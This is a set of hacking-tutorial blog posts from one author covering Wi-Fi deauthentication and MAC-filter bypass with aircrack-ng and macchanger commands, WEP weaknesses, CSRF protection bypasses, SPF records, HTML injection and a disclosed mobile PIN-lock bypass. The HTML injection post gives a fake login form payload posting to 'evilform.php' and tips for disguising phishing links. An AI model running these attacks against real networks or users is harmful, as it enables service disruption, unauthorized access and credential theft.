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Wi-Fi Hacking: Deauthentication Attack

Hi there,

So this post is about deauthentication attack.
So we can do a deauthentication attack without connecting to a target network.

How It works:-

So in this process aireplay-ng sends deauthenticate packets to both AP(Access Point or router) and client which is connected to it.
It sends spoof packets to AP and also some packets to client when AP acknowledges a packets which says that the target client is not authenticated to the AP. 
In other words attackers sends some deauth packets to the AP pretending to be the client and in the same time attackers send deauth packets to the client pretending to be the router saying that you need to authenticate again.

How We can do this attack:-

So we need aircrack suite to carry out this attack. lets start

  1. First of all you should have to a wireless card in monitor mode to enable this type
    airmon-ng start [Your wifi card name] and press enter it will enable a wireless card in monitor mode.
  2. Now scan all networks by typing
    airodump-ng [Your wireless card in monitor mode]
I have censored some information. after scanning network choose the AP on which you want to deauth a client. 

4. Now to deauthenicate a specific client first of all look how many clients are associated to that network to do this simply type
airodump-ng --channel [no] --bssid [mac of target network] [wifi card in monitor mode] and press enter

it will give a output like this 

5. Now to deauthenticate the client use this command
aireplay-ng --deauth [no of packets you want to send] -a [AP's MAC address] -c [client Mac address] [wifi card in monitor mode]
 if you want to deauthenticate the client for a long time you can set a large value of [no of packets] like 10000 etc.

So after this the client will be not be able to authenticate to the target network.

Hope you enjoyed reading this.
Next Post: Cracking WEP encryption Practical 

Jitendra (Team Computer Korner)

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WEP encryption: How it works and its weakness

Hi there,

First of all sorry for the delay as I was on vacations but finally I am back with a new post.

So I past few posts we talked about MAC address and how to login to a AP which has a MAC filter enabled on it.
So now we will talk about Encryption and How to Crack it.
Our first topic is about WEP encryption.

So lets start:-

WEP is an old encryption but still it is used in many networks to provide data confidentially that's why we are learning how to break it.
WEP stands for Wired Equivalent Privacy. It was designed to provide the data confidentially as compared to the wired networks.


WEP uses a algorithm which is known as the  Rivest Cipher 4 algorithm. RC4 is designed by Ron Rivest of RSA security in 1987.
In RC4 algorithm  data packets is encrypted at AP (access point) and then decrypted at the client. Here what WEP does that it ensures that each packet has its unique keystream by using a random 24-bit Initializing Vector(IV) and it is not encrypted. It means that you are able to capture a data packets then you will be able to read the IV.


There are two types of authentication that are used in WEP encryption 
1. Open System Authentication:- It this authentication the WLAN client need not to provide its credentials to the access point for the authentication.
2. Shared Key Authentication:- It takes place by following ways.
The client sends the authentication request to the AP.
The AP reply with a clear text challenge.
After these two steps the client encrypt the clear text challenge using the configured or entered WEP key and sends its back to the AP.
Now AP decrypts the response if this matches the challenge text then you will be authenticated otherwise a negative reply will be received.


So  the Weakness here is  IV  was generated by 24-bit Initializing vector.
So in a busy network the possibility of randomness will not work because there will be too much packets which are received or sent and the IV are always generated by 24 bit random IV.

So we can collect more than two packets which have the same Initializing vector. and After that we can use aircrack-ng to determine the key stream and the WEP key.

If you captured lot of packets then the chances of determining key will increase.

We will be  doing the demonstration of Cracking WEP in next post.
Stay tuned 

Jitendra(Team Computer Korner)

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Accessing an AP Which have a MAC filter enabled

So in the previous post I was talking about what is MAC address and I explained how to find your MAC address etc.
Now there are certain Wi-Fi networks which uses MAC filter to give access to their clients. 
MAC filter consist a whitelist of a MAC addresses. So a user can connect to that network only when his MAC address exists in that whitelist.

So let suppose if you know the password of a network(Access Point) but they have MAC filter enabled they you will not be able to connect to that network.

So in this post we will bypass the MAC filter of a router to get access to that network.

So we will first of all check the devices connected to a AP then we will change our MAC address and since we know the password we can connect to that network.

Tools we are going to use in this 

  1.  aircrack-ng suite 
  2. MAC changer
lets start 

1. First of all we need to enable our network card in monitor mode so we can able to caputre all the packets. our card is managed mode in default so we have to enable managed mode.
my network card name is wlan0.
open terminal in kali and give this command

airmon-ng start wlan0

it will start a network card in monitor mode and it will be mon0

2. Now we can monitor all the networks in our wifi card range so to monitor all the network give this command 

airodump-ng mon0

Now here bssid is the MAC address of the network 
ch = channel
PWR = our distance
Data= Data packets transferred
ENC= Encryption used

3. so now to monitor all the devies connected to the network open terminal and type 

airodump-ng --bssid <Mac address of network> --channel <channel> wifi _card_in_Monitor_mode

Now if will show you all the connected devices MAC address under the station field 
copy any of them.

Now give this command to change your MAC address to a MAC which is whitelist (copied in step 3) 
ifconfig wlan0 down
macchanger --mac <MAC copied in step 3>
ifconfig wlan0 up

Now enter the password and you will be successfully able to connect to the network which has mac filter enabled.

Note: To restore the permanent mac address again type >>macchanger -p

Hope this helped 

Feel free to comment

Jitendra K Singh(Team Computer Korner)

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What is MAC: Explanation

What is a MAC address

MAC address stands for Media Access Control.
Each network card has a physical static address assigned by the card manufacturer called MAC address.
The MAC address is used between the devices to identify each other and to transfer packet to the right place.
Each packet has a source MAC and a destination MAC address.

This address is also known as the hardware addresses. They uniquely identify the adapter on LAN.
The MAC address are 12 bit hexadecimal number. It is written in the following format.


The first half of the MAC (24 bit) contains the ID number of adapter Manufacturer.
The second half (24 MORE BITS) of a MAC address represents the serial number assigned to the adapter by the manufacturer.

How to find your MAC address

  • On Windows: Open the command prompt and enter the following command 
ipconfig /all 
here is the image 

  • On linux: Open the terminal and give the following command 
ifconfig -a 

IF you want to find who is the manufacturer of you network card then using the following ways retrieve the MAC address of the network card.

Go to this address . Now paste the first six digit of you mac address and click on Lookup.
IT will show you the maufacturer.
lets take an example.
In the above image of Ubuntu the MAC address is 08:00:27:62:bf:e1.
Now paste the first six digit of this on the given box like this 080027.

Now it will show you the vendor of the card.

Hope you enjoyed it more is coming soon.

Jitendra K Singh (Team Computer Korner)

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Bypassing the weak CSRF Protection

Hi there,

So in InfoSec community everybody knows about the CSRF vulnerability.
And if the website is not using the CSRF protection they are lucky to find the Full account takeover using the CSRF.

However many of Security Researcher only look if there is a CSRF token present on a particular request or not. And if it was not they think that this particular request is vulnerable to CSRF.

Protection which Modern WebApp uses against CSRF

So there are many protection which modern WebApp use against CSRF.

1. Send an Authenticity token which each request:- So this is the basic protection which most of WebApp use. They send a Authenticity token with each request to protect their users against CSRF.

2. X-CSRF Token:- Many Webapp use this extra layer of protection by adding a X-CSRF token header with each request the token in the header is verified on every request sent to server.
3. Referrer Header Protection:- You can only find this type of CSRF protection in some of the WebApp like Twitter. In this type of protection they verify the referrer header and if the referrer header is coming from any other domain besides the domain of the Website. It drops the request and shows an error.

Some Methods to Bypass the CSRF protection

There are some methods which you can use to bypass the csrf protection

1. There are many webapp which only verifies the length of the CSRF token which means create an account on that website and note down the length of the CSRF token. Now SEnd any arbitrary CSRF token of the same length and it will get accepted.

2. You can also use GET method instead of POST method to bypass CSRF protection.

3. There is missing best practice in many of the website. After logging in they generate a CSRF token for us and this token remains same on every request until we do logout. But if we note down the same token and try a CSRF attack on any other persons account it will be successful.
So from my opinion CSRF token should have to be unique per use and they have to expire after use does the logout.

4. There is also a flaw exists which makes many Webapp vulnerable which generates the CSRF token and then save them to cookie and on each and every request they verifies the token in the POST request with the token in the cookie.
So it is easy to bypass this type of protection just change both token one which is inside the cookie and the other which is sent to the server on every request. And the request will be successful.
SO to mitigation  you dont have to just match the token with the token in the cookie.

Suggestion are welcome


Jitendra K Singh(Team Computer Korner)

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Missing SPF record: Vulnerability Or Not ?

Hi Followers ,
First of all sorry for the delay in the new post.

So this post is about SPF(Sender Policy Framework) record I am writing this post because many bug hunter thinks this a simple and common vulnerability. But as my perspective this is not a security issue at all.
Many security researchers who want to make easy money by doing bug hunting reports this first to any website which have a bug bounty program and in 1 or 2 hour there will be about 30-40 reports which are about the SPF records.

What are SPF records ?

So basically Sender Policy Framework  records are used when you want to allow some third party service to send emails on behalf of your domain. The purpose of adding these records to prevent malicious users from sending the forged email from your domain. 

But there is an exception only SPF records cant prevent malicious users from sending the email from your domain but you also have to add DMARC record. I have written a Post about this and you can find it Here.

The SPF record of a domain looks like this one 
v=spf1 ~all 

Here there are two syntax of defining all one is 
1. ~all: It is used for softfail
2. -all: It is used for hardfail

So basically checking of SPF record is MTA in-exclusive if there is no  SPF record it checks the MX record of the domain. As I also stated above that they are only necessary if you want to allow a third party service to send emails on behalf of your domain.

And if you are not using any third party service then you don't have to add the SPF records.

Missing SPF records doesn't pose a security risk at all.  
However to prevent the spamming from a particular domain you also have to define the DMARC records.
DMARC records dictates the mail policy of any domain mainly if the DMARC records are added then you can say that the SPF records will have those domain which will be used for sending the emails on the behalf of that domain and if someone tries to spoof the email from a third party service which is not defined in the SPF record the mail will be rejected or will be marked as spam by the mail servers

Hope this post helped you. 
If you have any suggestion that how can we make this blog more interesting or you have question about this post then feel free to comment.

Jitendra (Team Computer Korner)

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WebApp Pentesting:What is HTML Injection

Hi Everyone 

So In this post we will talk about HTML injection.

HTML injection is similar to Cross Site Scripting (XSS) attack. But in XSS we insert malicious Script Tags to run JavaScript but in HTML injection we use HTML tag in order to modify the page for malicious purposes.

Why HTML injection Happens ?

When an application does not properly handle user supplied data, an attacker can supply valid HTML, typically via a parameter value, and inject their own content into the page.

So to demonstrate this I have hosted a vulnerable webpage on
When you visit to this page you can see that on that webpage it says
Hi Mr  Thanks for looking here
Now you can give a parameter to this by just adding ?name=ANY_HTML_VAlue so the final url will be

lets try to exploit it.

here first we will put some content in <b> tag
use this url and you can see that some text is in dark black<b>html-injection</b>

Redirecting user to malicious site<a href="">Click here to login</a>

Creating a Fake login form<form action="evilform.php" method="post"><input type="text" name="user" placeholder="username"></br><input type="password" name="pass" placeholder="pass"><!--
I used comment tag in the last of the form so all other content of the form will be commented out and that will not be displayed on the page.

Displaying a Fake Message

To display a fake message you can use this<p>we have changed our website login page please go to for login</p>

So the question is if we send this url to a use he will get to know that we are doing an phishing attack on him.
So you can encode the url or you can shorten the url using any of the url short service like

Thats All for this post 
Hope you enjoyed it.

Suggestion are welcome. Please do comment below for your feedback.

Jitendra Kumar Singh(Team Computer Korner)
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Bypassing Four digit Pin lock Of Mobile App

Hi Everyone,

This post is about a simple vulnerability by Which I am able to bypass the 4 Digit Pin lock on android app.


So android app let you set a 4 digit pin. This pin is secure your account from the intruders.Evertime you open the app , you have to enter the 4 digit pin in order to access the account.
And there is also rate limiting on place that if you try to brute force the pin it logs you out and then in order to access the account you have to sign in again.
But by a simple vulnerability I can bypass the 4 digit pin.

How I am able to Bypass it

So the exploit is very simple here.
You have to remember a things that after entering wrong pin 5 times it will log you out.
Now lets start since you have the physical access of the device.
Configure Burp to intercept all the traffic from you mobile device. Now open the app it will ask you for the password.

When you open the app a request like this will pass through the burp 

The pin is not entered at this time.

Now enter the wrong pin since as i mentioned you have 5 chances to enter the pin.
so if you enter a wrong pin.
You will see a response like this 

You Can easily see that the pin is mentioned in the response.
I can easily bypass the 4 digit pin countermeasure and can access the private info like credit card info , Gift cards purchased and many other things.

P.S: My device is not rooted and I never perform tests on a rooted device. Since rooting a device removes the most important security feature of the android.

Hope you enjoyed it let me know your thinking about this in comments.

Reported to security team on January 19 2016
No response from the team.
Disclosed on March 27 2016

Jitendra Kumar Singh (Team Computer- Korner)

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